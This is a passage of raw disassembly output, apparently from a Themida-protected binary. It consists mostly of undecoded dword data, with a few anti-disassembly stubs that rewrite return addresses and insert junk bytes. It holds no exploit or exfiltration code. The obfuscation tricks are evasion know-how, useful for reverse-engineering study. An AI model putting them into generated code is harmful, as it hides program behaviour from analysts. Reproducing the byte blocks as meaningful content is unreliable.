mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_5B9559 endp
; ---------------------------------------------------------------------------
pushf
pop ecx
enter 0FFFFFFA0h, 95h
shr dword ptr [ecx], 1
adc al, [esi]
push 0
push eax
call sub_5B957E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5B957E proc near ; CODE XREF: Themida_:005B9576p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_5B957E endp
; ---------------------------------------------------------------------------
jmp short loc_5B9602
; ---------------------------------------------------------------------------
dd 13E8A81Fh, 61000000h, 0AF997295h, 649459A0h, 0ACD5B84h
dd 4A3C0989h, 5EF83E3Ah, 5678B890h, 0BD8B1234h, 6122EE9h
dd 0DAD39D8Dh, 1EE90615h, 6AFFFFF9h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0B362C351h
dd 3648C8F1h, 0C18B8AD5h, 31C98589h, 4EB0612h, 0
dd 0E856006Ah, 3, 5EC35E20h
db 89h, 74h
; ---------------------------------------------------------------------------
loc_5B9602: ; CODE XREF: Themida_:005B958Ej
and al, 4
add dword ptr [esp+4], 19h
inc esi
push esi
retn
; ---------------------------------------------------------------------------
db 0C0h
dd 9F494357h, 50006A76h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1804h, 0C3504000h, 7CDE908Dh, 358D8938h, 8D06120Ch
dd 12006585h, 50F98B06h, 280D8BBFh, 24048936h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 17h, 66C35040h, 0FBF7BF2h
dd 681h, 7DBD0300h, 6A061227h, 0F88B6600h, 6A006Ah, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 5E2BE4C3h, 0E9F86697h, 8, 9637C14Dh, 3DAB63EDh, 0DD15858Dh
dd 6A0615h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
dd 55450000h, 0B4F127C3h, 0F78BB600h, 890Fh, 0C0830000h
dd 53006A05h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h
dd 0C3534300h, 2F725B03h, 12E9D2h, 6B820000h, 0AE4CAF35h
dd 0C5E5FDB3h, 8EE42CE1h, 0DFE50FAFh, 24048950h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h, 2A0DBD8Bh
dd 6A0612h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 1C35040h, 9EC951B0h, 0B34D75BFh, 6A006A50h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 14B3C350h, 6704EA34h, 2F41BD8Bh, 95FF0612h, 6120B55h
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 91C35343h
dd 2B50985Bh, 13E9FAh, 3940000h, 5D3FF9DFh, 0ECDDBF1Bh
dd 2EAF277Ah, 87D3AC9Dh, 0CA9D8D0Bh, 906159Bh, 1231F585h
dd 8BD3FF06h, 12186DB5h, 3585FF06h, 8B061212h, 1211E5BDh
dd 55858906h, 0E9061211h, 0E47h, 0E8h, 0ED815D00h, 615DD1Fh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 6CC35242h
dd 47FE6994h, 2F0003A7h, 0BD8B5770h, 6123339h, 0D19D895Fh
dd 8106122Eh, 1207E5BDh, 7D006h, 2B860F00h, 6A000001h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 2B1BC357h, 30DD9D8Bh, 6A0612h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 190424h, 51410000h, 940911C3h
dd 16BF194h, 1230C1BDh, 0E38106h, 6A000001h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 1E1EC355h, 6E94D75h, 92000000h, 25326681h, 0DB0BF8CAh
dd 3F850Fh, 0BD830000h, 615DB16h, 17840F00h, 0F000000h
dd 59E9F3B7h, 0E9000000h, 0Ah, 25DEAB2Eh, 0DA52C1EEh, 85C7D7E8h
dd 615DB16h, 1, 880Fh, 35E90000h, 81000000h, 200AE5D7h
dd 1685C716h, 615DBh, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 17042444h, 46000000h, 0D32FC356h, 85892618h
dd 6121A55h, 30DD9D8Dh, 6A0612h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1B0424h, 52420000h, 22442C3h, 0BDE4B11Eh
dd 958589C7h, 81061211h, 0FFFEFF23h, 8B6650FFh, 8C665EFBh
dd 0ADBD89DBh, 0F6061208h, 840F04C3h, 37h, 6E8h, 0E3C21400h
dd 5ED5C3C4h, 0CA995FFh, 6E90612h, 0FB000000h, 87F3511Ah
dd 525090EBh, 0B66BBE60h, 0C28A6A50h, 0F905F61h, 685h
dd 45BD8900h, 0E906121Eh, 431h, 1281B52Bh, 0B00612h, 0C870Fh
dd 820F0000h, 6, 264DB501h, 70E60612h, 0E4F6B70Fh, 56006A71h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 666636ABh, 0F9A1DBEh, 6BAD8B6h, 66000000h, 8BA54DBFh
dd 118531C3h, 0C106121Eh, 6A04E8h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1A0424h, 52420000h, 0B1C439C3h, 61236A52h
dd 7CD8D89h, 0F7660612h, 50006AE2h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1B04h, 0C3504000h, 374063D4h, 0A58143CFh
dd 4519D89h, 0D82B0612h, 0DE8h, 0BF2B9300h, 0CAEA5AADh
dd 0F91B2736h, 0CE813203h, 400800E9h, 21BE935Eh, 501B235Ah
dd 55006A93h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h
dd 0C3554500h, 0BE224B3Dh, 66C139D3h, 0B8A4EE81h, 9E9h
dd 88E6700h, 0B020B215h, 0B5FF1AA6h, 61207E5h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0FC35343h, 958B6095h
dd 6122BFDh, 0F38B61FCh, 29D195FFh, 9D310612h, 61220C9h
dd 6A00B0h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
dd 51410000h, 0AAB2A7C3h, 6A70E6h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 170424h, 53430000h, 0F06344C3h, 71E4F8CAh
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 13C35040h
dd 4FCA3D83h, 9438156Eh, 29FFBF0Fh, 12187D8Dh, 0F613C06h
dd 27883h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1A04h, 0C3524200h, 360C10D4h, 8BCC2281h, 121F55BDh
dd 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 78C35747h, 0AE150C05h, 0BD84161Ah, 0E98589A7h
dd 0F061229h, 1484h, 0FE900h, 22100000h, 50BF78C5h, 97AB2DE8h
dd 623E902Dh, 6BA9Ah, 85310000h, 61211B1h, 6AC38Bh, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h
dd 8D8963C3h, 61213B1h, 8B04E8C1h, 123041BDh, 0E2F76606h
dd 31ED9D89h, 0D82B0612h, 32DBD8Bh, 0BD8B0612h, 6122171h
dd 0BF0F5158h, 0D82B5FF8h, 1AB880Fh, 95010000h, 6121A2Dh
dd 7B9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 8D67F9F7h, 0BE6E19C5h, 32B6607Fh
dd 8B00C183h, 1207F5B5h, 0FD93B06h, 16886h, 860FFC00h
dd 0Ch, 6850Fh, 0B58B0000h, 6122EF1h, 0F6D98C66h, 840F04C1h
dd 11Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
dd 18h, 0F5C35545h, 7A811E12h, 0FE9h, 0D86C100h, 1579E43Dh
dd 738D9D69h, 0A5C3D42Dh, 0CA995FFh, 6A0612h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0FB6239C3h
dd 6712B7Dh, 7E9D20Fh, 0DF000000h, 59EE4D2Eh, 9D892DDAh
dd 61208E1h, 57006A5Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1C04h, 0C3574700h, 9F15BF23h, 48D73162h, 6DB58BAFh
dd 2B061207h, 8343DC3h, 860F0000h, 74h, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Ah, 0CFC35646h, 0DDC06716h
dd 0B58BF8F7h, 6122765h, 74E9h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0C54A094Fh
dd 0B5891710h, 61219F1h, 1A8B0Fh, 0EE80000h, 7B000000h
dd 728D42DCh, 9469FAA1h, 88356A34h, 0D5BD89B5h, 5E061224h
dd 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
dd 55450000h, 807870C3h, 0C9E7DE9Dh, 23C8C1C4h, 121FA9BDh
dd 8BC38B06h, 0E5B58BD8h, 0C7061222h, 1223ED85h, 0A1279706h
dd 0FAB70F12h, 6AC08Bh, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 8E9FFC3h
dd 0E6000000h, 9074F952h, 81635E5Fh, 1207E5BDh, 7D006h
dd 0C850F00h, 89000000h, 1231E9BDh, 0E585FF06h, 0FF061207h
dd 1207E5B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
dd 1804h, 0C3554500h, 636F7A64h, 89BD03ADh, 0FF06122Ch
dd 1229D195h, 0F3BF0F06h, 6A4090h, 3E852h, 5A200000h, 54895AC3h
dd 44810424h, 1D0424h, 52420000h, 29CD68C3h, 34DB960Dh
dd 830A79A3h, 1221D1BDh, 840F0006h, 0D3h, 57E68166h, 55BD8328h
dd 61228h, 0C1840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 0BE9BFC3h, 0F5000000h
dd 1399396h, 269065B1h, 95FF0C34h, 61221D1h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 36C35242h, 0DD99F068h
dd 6691D3D6h, 0B43F6BEh, 60840FC0h, 8D000000h, 124E4B8Dh
dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h
dd 0C3524200h, 11E19036h, 0EAAA3B07h, 5B8h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 439360FAh, 0B3C1B125h, 6DDE819Eh, 0FF33F538h, 95BD31E1h
dd 83061217h, 121DA1BDh, 840F0006h, 653h, 0E855006Ah, 3
dd 5DC35D20h, 4246C89h, 4244481h, 1Ch, 93C35545h, 41A2F767h
dd 559E36Dh, 2855BD83h, 0F000612h, 62284h, 85B58900h, 8D061218h
dd 121E098Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 5F14ACF0h, 9D891AF2h, 6122641h, 7C8401C7h
dd 6A44B2h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
dd 53430000h, 0A4DF2C3h, 0DAAD3F09h, 1811519h, 1499CFCBh
dd 0F318D29h, 41C70612h, 706B3404h, 55006ACEh, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 0E4B90DCAh
dd 633CF005h, 4ADBE60h, 0E9616ED7h, 0Ch, 744FB07Fh, 8CA8019Eh
dd 4C069C78h, 10044181h, 6A31D6D7h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 7B0AC357h
dd 98F35457h, 89006AF5h, 1200198Dh, 9858D06h, 0F06121Eh
dd 0E87h, 9E900h, 242E0000h, 6B0D1C6Eh, 9050160Eh, 0F08B6650h
dd 0A195FF90h, 6A06121Dh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 1B042444h, 43000000h, 0AA74C353h, 4CC72FEDh
dd 0BD33CAC6h, 6122BF5h, 1E098D8Dh, 1C70612h, 0
; ---------------------------------------------------------------------------
xor si, 23BCh
mov dword ptr [ecx+4], 0
push 0
push ebp
call sub_5BA113
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA113 proc near ; CODE XREF: Themida_:005BA10Bp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 19h
inc ebp
push ebp
retn
sub_5BA113 endp
; ---------------------------------------------------------------------------
db 0BBh
dd 146D78B3h, 0BE8DEh, 89660000h, 7241217Dh, 49F4AFADh
dd 6ED5BEEAh, 8B5F5B4Ch, 121D35BDh, 0FC00B06h, 9A84h, 57006A00h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h
dd 0D2059E50h, 5A302644h, 1EABBE66h, 4E4B8D8Dh, 44BF0612h
dd 0B8275198h, 5, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 19h, 0B7C35242h, 0B52DFAEDh, 6AE1FF83h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0D6E1C352h
dd 8E72E8CFh, 11E8DA6Dh, 59000000h, 80A686D8h, 4FBBDBFBh
dd 0F7CA349h, 8595B2E8h, 0E1BBCE81h, 8D5E7656h, 121E098Dh
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h
dd 0C3574700h, 4AE6BB44h, 7D90628Ch, 66603022h, 9529D68Bh
dd 612230Dh, 59B58B61h, 0C7061224h, 0AA727C01h, 57006A44h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1904h, 0C3574700h
dd 0B73298DDh, 1FBF2C1Eh, 0F6D1BEFh, 689h, 0C18D3100h
dd 81061220h, 99CFCB01h, 0CE914h, 48BD0000h, 0D8AE0395h
dd 4A34B445h, 41C7D402h, 78753C04h, 0FE8CEh, 0C8B10000h
dd 6917AE88h, 0F6A5AC8Fh, 6CD9FE6h, 5E953h, 5090000h, 5FCDDE03h
dd 10044181h, 6A31D6D7h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0FC7C357h, 8Eh, 6A006A00h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 15042444h
dd 47000000h, 0CC41C357h, 0C2BE66F8h, 9858D67h, 0BF06121Eh
dd 3A8BC1E9h, 48B0F50h, 57000000h, 895F5F56h, 6A2404h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
dd 26D5FAC3h, 87F178A7h, 89E57209h, 120B899Dh, 0A195FF06h
dd 6A06121Dh, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1D042444h, 40000000h, 519CC350h, 266B259Dh, 9A4D026Dh
dd 1E098D8Dh, 0BF0F0612h, 14EBBEFEh, 1C7192Bh, 0
; ---------------------------------------------------------------------------
mov edi, 79D514C0h
mov dword ptr [ecx+4], 0
sub [ebp+6121415h], eax
jmp loc_5BA390
; ---------------------------------------------------------------------------
db 0A6h
dd 187A0FBEh, 0FA5A1D27h, 0F3BA9B74h, 71C02BA6h
; ---------------------------------------------------------------------------
loc_5BA390: ; CODE XREF: Themida_:005BA37Aj
or eax, eax
jz loc_5BA3EC
push 0
push ebx
call sub_5BA3A3
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA3A3 proc near ; CODE XREF: Themida_:005BA39Bp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 15h
inc ebx
push ebx
retn
sub_5BA3A3 endp
; ---------------------------------------------------------------------------
db 27h
dd 969BBEF0h, 8D8D7F5Fh, 6124E4Bh, 48F0Fh, 0BE660000h
dd 5B8A7D4h, 29000000h, 120EC5B5h, 0E9E1FF06h, 10h, 6B469CB8h
dd 776120C9h, 0FA0E471Fh, 74C576C0h
; ---------------------------------------------------------------------------
loc_5BA3EC: ; CODE XREF: Themida_:005BA392j
lea ecx, [ebp+6121E09h]
push 0
push edi
call sub_5BA3FD
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5BA3FD proc near ; CODE XREF: Themida_:005BA3F5p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_5BA3FD endp
; ---------------------------------------------------------------------------
db 62h, 9Bh, 98h
db 90h
db 0B3h, 0BFh, 0E5h
dd 8B32E88Fh, 0C9BD33F7h, 0C7061220h, 0CA95A501h, 85316054h
dd 6121D61h, 18161F5h, 1499CFCBh, 3C4ABF66h, 690441C7h
dd 1CE5F59h, 120C8DB5h, 4418106h, 31D6D710h, 6A006Ah, 3E852h
dd 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 329321C3h, 8AAEC550h, 0DDBD897Bh, 8906122Dh, 120729BDh
dd 9858D06h, 6A06121Eh, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 16042444h, 40000000h, 0D89DC350h, 6266BF0Ah
dd 0E85018DBh, 10h, 0FA312F67h, 2C75A799h, 8E5C5918h, 30DA8AB7h
dd 73BE6650h, 895F5E7Ah, 6A2404h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 160424h, 50400000h, 0F40132C3h, 1175B58Bh
dd 95FF0612h, 6121DA1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ch, 72C35343h, 9433ED66h, 4B423A86h, 8DFAB70Fh
dd 121E098Dh, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 668C2C49h, 9ED2C681h, 1C7h, 6A0000h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
dd 4F8552C3h, 41C7F38Bh, 4, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1404h, 0C3524200h, 9BD8B49h, 0F06122Bh
dd 86h, 0FC00B00h, 4A84h, 57006A00h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 0CDEC3E72h
dd 0F8A7085h, 8D29FBB7h, 612139Dh, 4E4B8D8Dh, 8D310612h
dd 6121FA1h, 5B8h, 1B58900h, 0FF061216h, 79BD8BE1h, 3061226h
dd 0F206E9CAh, 6AFFFFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 180424h, 57470000h, 0A6F02FC3h, 0F851E4DAh, 10E95Eh
dd 74950000h, 668B892Ch, 4F82D914h, 31709236h, 0F8601675h
dd 68A0Fh, 85290000h, 6121635h, 41B50961h, 8B061212h, 4EBC1h
dd 66000000h, 0BD8BF18Bh, 61208C1h, 65858Dh, 6A0612h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h
dd 8A0FACC3h, 1, 525050FCh, 850F53h, 5F000000h, 800F310Fh
dd 2, 585A6160h, 6A240489h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 1A042444h, 46000000h, 633CC356h, 6A1DF768h
dd 0CF816684h, 0B58BE98Fh, 6121FD9h, 0B589006Ah, 6121ABDh
dd 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 0F2CD53C3h, 0D0ADED90h, 0DDBF6619h, 11858D0Bh
dd 90615EDh, 120C8D85h, 5C08306h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 2FC35646h, 0B5296055h, 612342Dh
dd 11870Fh, 0CE90000h, 41000000h, 0F36C4E08h, 65676130h
dd 61F06836h, 24048950h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 95C35141h, 8B006AC2h, 120329BDh, 0D1BD8B06h
dd 6A061227h, 10E900h, 0C0840000h, 807D810h, 0FB4D6C4h
dd 0C8AFF110h, 95FF22A6h, 6120B55h, 6820Fh, 0BD290000h
dd 6120905h, 9BCA9D8Dh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 190424h, 51410000h, 5ADC0C3h, 0FFA92F2Fh
dd 52006AD3h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1A04h
dd 0C3524200h, 713CFEBCh, 8B3C6C71h, 3585FFF3h, 8B061212h
dd 50D781F8h, 0E90A2B64h, 855h, 0E8h, 0ED815D00h, 615ED1Bh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 47C35242h
dd 7E5BD81h, 7D00612h, 860F0000h, 10Dh, 0E852006Ah, 3
dd 5AC35A20h, 4245489h, 4244481h, 1Ah, 8CC35242h, 4EB7E234h
dd 8B666141h, 499D8BFEh, 50061223h, 59B58952h, 5F061232h
dd 0E3815Fh, 0E9000001h, 0Eh, 2A10C2FBh, 0AC91C282h, 9FC563C7h
dd 0DB0B46D2h, 51850Fh, 8A0F0000h, 6, 3CC7CE81h, 0BD8334EBh
dd 615EB65h, 21840F00h, 6A000000h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 0E926C352h
dd 44h, 0EB6585C7h, 10615h, 0BD230000h, 61214B1h, 2FE9h
dd 0C7F98B00h, 15EB6585h, 6, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 722CE70Bh
dd 4FAD12EAh, 23499D8Dh, 6A0612h, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 0B9188CC3h, 23CCE8B9h
dd 23812823h, 0FFFFFEFFh, 1B69BD0Bh, 8B660612h, 0DB8C66F9h
dd 8531FE8Bh, 6120ECDh, 0F04C3F6h, 0B484h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
dd 9B184E9Ch, 35D87E9Eh, 0B1B58B7Eh, 0FF061220h, 120CA995h
dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 9BDDEB3h, 11E850F8h, 80000000h, 1732B8A1h
dd 0E4914A1Dh, 2DA9DA9Dh, 75278022h, 90E542BEh, 4895E70h
dd 55006A24h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h
dd 0C3554500h, 3DB40CEEh, 12E845h, 0E8B20000h, 0A939AB7Fh
dd 3CF73102h, 0EF1687B8h, 47C55B7Ch, 22EDB589h, 8B5E0612h
dd 1229A9B5h, 422E906h, 6A0000h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 0BF0F91C3h, 0BE9FAh
dd 0D5EC0000h, 811F61F8h, 8FEA4169h, 0E800B027h, 0Fh, 0B474BD6Bh
dd 0E9C8E845h, 188692A4h, 0E9256463h, 5, 0BD2DB2D0h, 70E65E16h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0B1C35545h
dd 13E87192h, 7000000h, 84BBB29Eh, 0A7B44E40h, 73D957A6h
dd 0D90D2B9h, 0B50BFE17h, 6121F75h, 0DC9DBE5Fh, 71E4793Ah
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 10C35646h
dd 8DA20BA4h, 0B60F1CD2h, 55006AD8h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 633E7308h
dd 298D89F2h, 0BA061221h, 6, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 17h, 90C35343h, 8B514672h, 51006AC3h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 10B9956h, 0C19C1293h, 97BF04E8h, 667CF57Fh, 0BD8BE2F7h
dd 612088Dh, 0B58BD82Bh, 6122E81h, 0F525093h, 0CE931h
dd 0E48B0000h, 3B5A04FFh, 6ADA047Fh, 585AF77Bh, 5E850h
dd 6BCE0000h, 8B83E911h, 6A935FF7h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 0A178C350h
dd 0F38D1D00h, 0B26ABF66h, 7E5B5FFh, 6A0612h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 13D7F2C3h
dd 5A92105Ah, 6810Fh, 0EE810000h, 56BD3ADEh, 29D195FFh
dd 0B0F90612h, 99950100h, 0E6061210h, 57006A70h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 4EAAB7AEh, 6602DEFEh, 9197EE81h, 0E4FABF0Fh, 95895371h
dd 61232B9h, 0F613C5Eh, 21383h, 56006A00h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h
dd 8D0182E2h, 6122711h, 0C31B58Bh, 0B60F0612h, 57006AD8h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
dd 0E148C963h, 3AC915D9h, 0E6819F3Bh, 736CDFEDh, 0E8AD2CBEh
dd 6BA11h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 8B66BDC3h, 49B58BF2h, 8B06121Ah
dd 50006AC3h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h
dd 0C3504000h, 9FE15668h, 25E6815Eh, 0C1082D68h, 0BD8B04E8h
dd 61210BDh, 6AE2F766h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0DC41C350h, 0DDDD3640h
dd 0EE9h, 6A149900h, 44D9C15h, 543A6830h, 8B4A5E54h, 121809B5h
dd 8BD82B06h, 2BF558F1h, 11880FD8h, 0B9000001h, 7, 0F00C183h
dd 68Dh, 0E58D3100h, 3B06122Eh, 0F5860FD9h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h
dd 43000000h, 54ABC353h, 2BB12FE7h, 0D98C6655h, 11EDB533h
dd 95890612h, 6121505h, 0F04C1F6h, 0B384h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h
dd 6B0EE677h, 0A99D89D1h, 0FF061215h, 120CA995h, 53006A06h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0D0E24F8Eh, 66BA5EC4h, 665BF28Bh, 2B0A1FBEh, 53006AC3h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
dd 0DC6A45CEh, 0E9C0B323h, 13h, 77920742h, 0D852DF16h
dd 74119C59h, 0DE5775C8h, 3D01A639h, 834h, 16860Fh, 0B58B0000h
dd 61229E9h, 0FBE78166h, 0EE95Fh, 8D890000h, 6121471h
dd 0B589C08Bh, 6120069h, 0D88BC38Bh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 16h, 0FCC35343h, 85C7455Bh, 61230DDh
dd 1C17D1FBh, 8BF7BF0Fh, 51006AC0h, 3E8h, 0C3592000h, 244C8959h
dd 24448104h, 1B04h, 0C3514100h, 2F4FF1B0h, 0FCA19CC9h
dd 167DBD8Bh, 0BD810612h, 61207E5h, 7D0h, 40850Fh, 0B70F0000h
dd 0E585FFF7h, 6A061207h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1B042444h, 40000000h, 3B96C350h, 1B90704Bh
dd 8C0F15A0h, 0Eh, 0FD8D8960h, 89061222h, 1215C59Dh, 0B5FF6106h
dd 61207E5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 19h, 1DC35343h, 3DC193FEh, 8D8D8930h, 0FF061210h, 1229D195h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 55D29C04h, 18A68EBDh, 0B589F890h, 612270Dh
dd 15758D89h, 0BD890612h, 6121F81h, 6AF88Bh, 3E850h, 58200000h
dd 448958C3h, 44810424h, 1A0424h, 50400000h, 401566C3h
dd 0A5E6ECE9h, 13D19589h, 7E90612h, 0A0000000h, 0E4A0C4A2h
dd 6AD9B2h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 90161C3h, 5075C324h, 6AF2B70Fh, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 4421C350h, 89BFE5AFh, 122FF5B5h, 15B58B06h, 8B06121Bh
dd 121E8DB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1404h, 0C3504000h, 0CE84Bh, 49620000h, 0B6B60AB8h, 0D8200ACAh
dd 840F24B7h, 6, 8D0Fh, 6A5F0000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 16042444h, 40000000h, 2864C350h
dd 83BF6607h, 2870FA5h, 8B000000h, 6830FFAh, 0F000000h
dd 8Eh, 31B58B00h, 0E906122Dh, 0FFFFF7B0h, 93E78166h, 6AC18B10h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0B751C350h, 467DBEF7h, 4EB1DB7h, 0
dd 0B280EF81h, 5E87759h, 0F9000000h, 0ABF7369Ah, 5FFE8B66h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FC35545h
dd 16695CC2h, 17698D29h, 8DF90612h, 12006585h, 0DB52306h
dd 90061215h, 0EC95BE57h, 505F4A58h, 61C68A60h, 66E9BE90h
dd 6A191Bh, 0DE8h, 0C003E700h, 1421A6D9h, 0E04731F2h, 69BE9A29h
